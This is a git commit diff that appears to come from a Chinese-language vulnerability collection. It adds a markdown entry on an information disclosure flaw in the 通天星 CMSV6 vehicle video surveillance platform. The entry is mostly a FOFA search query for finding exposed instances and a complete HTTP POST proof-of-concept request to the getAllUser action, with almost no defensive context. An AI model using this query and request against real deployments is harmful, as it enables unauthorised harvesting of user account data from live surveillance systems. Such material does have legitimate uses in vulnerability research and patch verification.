525更新漏洞

2026-07-28 14:55:34 +08:00 · 2024-05-25 13:57:14 +08:00
parent fc8b2af0d2
commit 4d11bd309d
20 changed files with 970 additions and 9 deletions
--- a/通天星CMSV6车载视频监控平台getAlser.acion接口处存在信息泄露漏洞.md
+++ b/通天星CMSV6车载视频监控平台getAlser.acion接口处存在信息泄露漏洞.md
@@ -0,0 +1,25 @@
+## 通天星CMSV6车载视频监控平台getAlser.acion接口处存在信息泄露漏洞
+
+通天星CMSV6车载视频监控平台 StandardLoginAction getAlser.acion接口处存在信息泄露漏洞
+
+## fofa
+
+```
+body="/808gps/"
+```
+
+## poc
+
+```
+POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
+Connection: close
+Content-Length: 9
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+Accept-Encoding: gzip, deflate
+
+json=null
+```
+
+![1708927720796.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202405242252677.png)